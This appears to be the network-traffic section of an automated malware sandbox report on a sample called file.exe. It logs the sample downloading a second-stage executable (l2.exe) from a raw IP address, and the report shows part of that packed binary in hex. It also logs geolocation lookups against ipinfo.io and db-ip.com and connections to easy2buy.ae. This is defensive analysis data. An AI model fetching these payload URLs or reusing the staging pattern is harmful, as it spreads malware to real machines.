Apr 22, 2024 01:18:14.262638092 CEST	1.1.1.1	192.168.2.5	0xa0af	No error (0)	easy2buy.ae	185.199.220.53	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

easy2buy.ae

193.233.132.175

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	193.233.132.175	80	3580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 22, 2024 01:18:04.288990021 CEST	225	OUT	HEAD /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.175 Cache-Control: no-cache
Apr 22, 2024 01:18:04.540832043 CEST	260	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sun, 21 Apr 2024 23:18:04 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Fri, 19 Apr 2024 15:26:27 GMT Connection: keep-alive ETag: "66228d23-45a2b8" Accept-Ranges: bytes
Apr 22, 2024 01:18:04.543344021 CEST	224	OUT	GET /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.175 Cache-Control: no-cache
Apr 22, 2024 01:18:04.795254946 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sun, 21 Apr 2024 23:18:04 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Fri, 19 Apr 2024 15:26:27 GMT Connection: keep-alive ETag: "66228d23-45a2b8" Accept-Ranges: bytes Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d c2 aa 77 ba f2 ff b0 1c fb 0e 4c 65 b3 00 e5 81 91 85 17 99 6b e5 54 b1 60 d7 23 25 a5 ab 98 c1 62 f1 c2 6e e6 46 88 26 2d 6f 95 cc 10 0e 2f 38 53 c3 45 0d c0 7b 31 1d 45 a1 9c 2c 9d f5 bf 13 3c 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|EPw.MPRESS1pw?.MPRESS22w?.rsrc\|w?@v2.19w? oG>Hr9aQ(`.=?!Z&II18Z!Ys[QXaYY)vn\|)^f+>84h82g>hb\E(x@8_94Um's#03O]`S2@#oF~RQqoynOA@\|gF0js/H+ 0C!7s^H, {DrI,\|u6E>q}g)UME'j}7^wLekT`#%bnF&-o/8SE{1E,<c\|bzFz\|W"p1RxkF@bLg
Apr 22, 2024 01:18:04.795315981 CEST	1289	IN	Data Raw: 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 6b fa 6f 04 df 4e c7 ef b3 24 58 87 6b d3 a0 cc 6a 82 2b 8b a9 25 8b c0 ff 92 f1 c1 a7 ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f8 29 64 09 3b 80 cb 2a 6c Data Ascii: p_--K2\|koN$Xkj+%R+t[ BS=)d;l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXvY[R+t[ BS=)d;l;._>KfBqxY(F\|
Apr 22, 2024 01:18:04.795419931 CEST	1289	IN	Data Raw: 5b 5e 89 45 b8 85 f7 82 48 b6 86 d6 9c c6 52 71 df 57 dd d0 18 7e b7 3b 9a 47 97 be 45 9e ad 2f 28 2a 9b 9b 50 a0 69 8e 75 b8 c9 0b 69 ed c0 1b be 55 c0 ca 05 b9 2f 62 11 7f 73 15 d5 5a 13 03 fc c4 8b 44 11 5f 57 06 a6 86 fc 35 e7 e9 7b b6 82 a9 Data Ascii: [^EHRqW~;GE/(*PiuiU/bsZD_W5{6"f#83\|)`zwE++i4y5b6=a;8YVM5>}xOozLP9_D4[]XjKnzFR0N1Ifr
Apr 22, 2024 01:18:04.795459986 CEST	1289	IN	Data Raw: 48 96 7a 05 5b 38 20 82 68 54 c6 cc e3 6f 64 43 0a 02 42 e5 5e 0f a3 7c 10 a0 0c 4e ae fc d2 a9 b1 77 6d 51 67 ab 26 14 00 60 cb 54 ea e1 2f c5 c3 8a 9b 44 27 b1 ed e3 78 03 eb 1b 10 b8 8b 84 03 a3 12 d0 9d 0e 84 e2 1c f7 08 95 79 ec 19 4c c9 8a Data Ascii: Hz[8 hTodCB^\|NwmQg&`T/D'xyL%{{w?U=N_'Li99Y3ewQPag"3CiCiP@ee*mxU8!,[:xE\|ZD>~6q)4,3};QIZe3r:!
Apr 22, 2024 01:18:04.795500040 CEST	1289	IN	Data Raw: 69 0c 06 0f 08 5b 83 b2 d3 3d 94 88 9c e6 00 95 0f 15 e9 2f 22 56 e1 ef 2b 60 43 1e 66 0a ce 44 ac 54 3f a7 15 c2 03 8e 77 a9 33 ba 7a 6f 0e 1a e4 07 11 d8 8c 59 e8 7f 08 b1 6e d8 a6 25 e3 98 0f 07 42 79 08 8d 39 e5 4d f4 57 74 34 c1 b0 b6 6d 03 Data Ascii: i[=/"V+`CfDT?w3zoYn%By9MWt4mbN 0qAS9F1TS'e5~l~Kyvc2owI.Fiq,T}qhKnNy\|@d+)9iQ4E=L"
Apr 22, 2024 01:18:04.795537949 CEST	1289	IN	Data Raw: fb c6 78 70 03 5c 42 aa a0 fb 41 20 8f 24 b3 e3 47 81 32 61 51 c0 53 b8 fa 17 59 9d 09 58 65 c4 9a 39 4a f5 74 5c b0 24 c9 b3 c6 db 2b 92 94 50 bd 13 45 9f cd 3f 52 00 63 1c f0 1a 1a f5 12 e2 ba 26 a8 97 9d 8d f2 6d 57 e7 13 24 df b2 5f 03 e2 10 Data Ascii: xp\BA $G2aQSYXe9Jt\$+PE?Rc&mW$_o7TT<SUq I*y"j4wHCr4fP(muX%6e}GiY\h7TW/6>kxfX"uM'?NiPQ{?Bs,6=sLzZ
Apr 22, 2024 01:18:04.795574903 CEST	1289	IN	Data Raw: 87 49 a6 95 5b b0 59 97 58 cc 93 60 b4 35 d2 b0 11 63 f6 77 df dd 96 be 90 16 2d 92 2f c1 01 5e 64 f4 7f 5a d0 1d b2 7c ad ef 4a 35 c7 d4 89 8a a5 fa c3 d1 30 56 71 f7 67 60 29 d1 9f 72 54 b5 24 b0 3c 8d 35 9d b9 17 b0 f6 e1 62 6a 8e fd 1a 9b 3b Data Ascii: I[YX`5cw-/^dZ\|J50Vqg`)rT$<5bj;(sa<[h"y&=xo<!pSj7w_P?tT!ly;wxC Wc){&I_um'MeEm^$upwvS\PI$tKYk{Ql"9
Apr 22, 2024 01:18:04.795612097 CEST	1289	IN	Data Raw: c2 f5 89 5e 16 dc 39 df 5f d9 00 e3 a5 88 f8 dc e1 d8 e3 94 f6 cf a2 d6 4d 06 0b 82 f9 ba f9 0b f0 f0 c0 1e 89 01 c2 13 30 e9 64 34 09 fd 2f ad 14 03 23 cd 80 cc f7 80 78 58 35 34 4d 21 00 89 0f 17 06 fd a2 28 0a 5e 48 3a ce 53 31 9a f4 3d d5 c6 Data Ascii: ^9_M0d4/#xX54M!(^H:S1=&t\|mQOwvfWCt`^*@(P?t!5XK"fnGdB9[vca3(eP,?mE\@&X;R(2F\A48>.5c/$p(M 3?A k
Apr 22, 2024 01:18:04.795650005 CEST	1289	IN	Data Raw: fe 05 01 44 95 69 9c fb cc 78 9f 42 85 43 55 94 5d b7 f3 98 a1 89 e4 92 e9 a1 f6 78 16 da bb 31 e7 a1 24 1e 6d d2 c4 20 bf 71 40 1b 2c 64 da f7 8b 85 d2 92 89 f1 97 54 63 8f e3 e3 f2 d5 6e e7 80 c0 64 e9 df 87 7a bd 50 85 52 35 c8 17 f0 07 23 17 Data Ascii: DixBCU]x1$m q@,dTcndzPR5#VN"v^mY#lI\9^gAZ(gZVcdd.2o@8<!NU'?Pt>L4eK".YEt:0Sf
Apr 22, 2024 01:18:04.795697927 CEST	1289	IN	Data Raw: 6b e0 b1 ad da f3 07 30 0a ce 9e 04 e0 66 7b 6e fb 49 db 50 b4 21 4d 12 90 d1 73 1b b0 a6 d8 b0 81 9c 24 1e 9e c1 8a 3d bb 31 d7 39 15 77 87 2f 64 07 7d f8 e0 2e cb 3b f9 ce 73 aa 19 20 23 8a e7 22 5c 33 a2 88 64 83 96 09 35 0a 00 c9 6e 31 21 af Data Ascii: k0f{nIP!Ms$=19w/d}.;s #"\3d5n1!L`Ys*>N`}tAHg>pN:LH!ZHr@/C/rvI]=,Xw+\`uN`Cxq+-JWi@r/E>8$Q v,eoJ%]OSO
Apr 22, 2024 01:18:05.047252893 CEST	1289	IN	Data Raw: 03 6b a9 45 9c df 84 bb 58 ae 97 39 f7 c3 3a a7 cd 8f 8e 8d 6d db eb f7 3f 5d 59 65 63 25 8d 7d db 1a 98 d9 33 2e 4b f0 1f 46 c8 86 b4 d4 2a 82 e1 7c 41 8d ff f0 74 29 34 84 62 88 b6 1a 64 5e 7a b2 4b b8 e4 fd 96 3b fb 93 9b bc 37 32 f5 86 4f da Data Ascii: kEX9:m?]Yec%}3.KF*\|At)4bd^zK;72Ozgve\|>"SJ7,;PGX3l8aszA":O=,?G&eif4wW/1k[Gf<};U(;.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	185.199.220.53	80	3580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 22, 2024 01:18:14.459997892 CEST	169	OUT	Data Raw: 16 03 03 00 a4 01 00 00 a0 03 03 66 25 9e b6 51 7b a3 73 59 45 cd fa 5c 8d 6f dc 19 c6 f8 e2 d7 a8 43 96 f6 ec 4b f6 db 4d 0a 3e 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f%Q{sYE\oCKM>&,+0/$#('=<5/Qeasy2buy.ae#
Apr 22, 2024 01:18:14.654773951 CEST	948	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 702 date: Sun, 21 Apr 2024 23:18:14 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 35 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 69 73 20 74 79 70 65 20 72 65 71 75 65 73 74 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	185.199.220.53	80	3580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 22, 2024 01:18:14.849637032 CEST	115	OUT	Data Raw: 16 03 01 00 6e 01 00 00 6a 03 01 66 25 9e b6 78 c5 2a 65 3d c7 ef 2e 76 c1 7c da de c0 2b 80 87 c1 ff 23 41 28 d4 40 36 88 99 61 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 33 00 00 00 10 00 0e 00 00 0b 65 61 73 79 32 62 75 79 2e Data Ascii: njf%x*e=.v\|+#A(@6a5/3easy2buy.ae#
Apr 22, 2024 01:18:15.042272091 CEST	948	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 702 date: Sun, 21 Apr 2024 23:18:14 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 35 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 69 73 20 74 79 70 65 20 72 65 71 75 65 73 74 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	34.117.186.192	443	3580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 23:17:58 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-21 23:17:58 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sun, 21 Apr 2024 23:17:58 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 5 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-21 23:17:58 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-21 23:17:58 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	104.26.5.15	443	3580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 23:17:59 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-21 23:17:59 UTC	652	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 23:17:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC454652:80F0_93878F2E:0050_66259EA7_935A14C:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6kC4sF8kaiA4a7YF55bJZYemRpYYSU8jGKHY2W5uQK4hpzLtWKupW3zboCVc892qln1S8AXXvI8%2FYMKeCS%2BgEUtO1yvklOIra0X73w2vxuk9sqDQKNlDPaj3ZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87811735bbfd674e-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 23:17:59 UTC	699	IN	Data Raw: 32 62 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a Data Ascii: 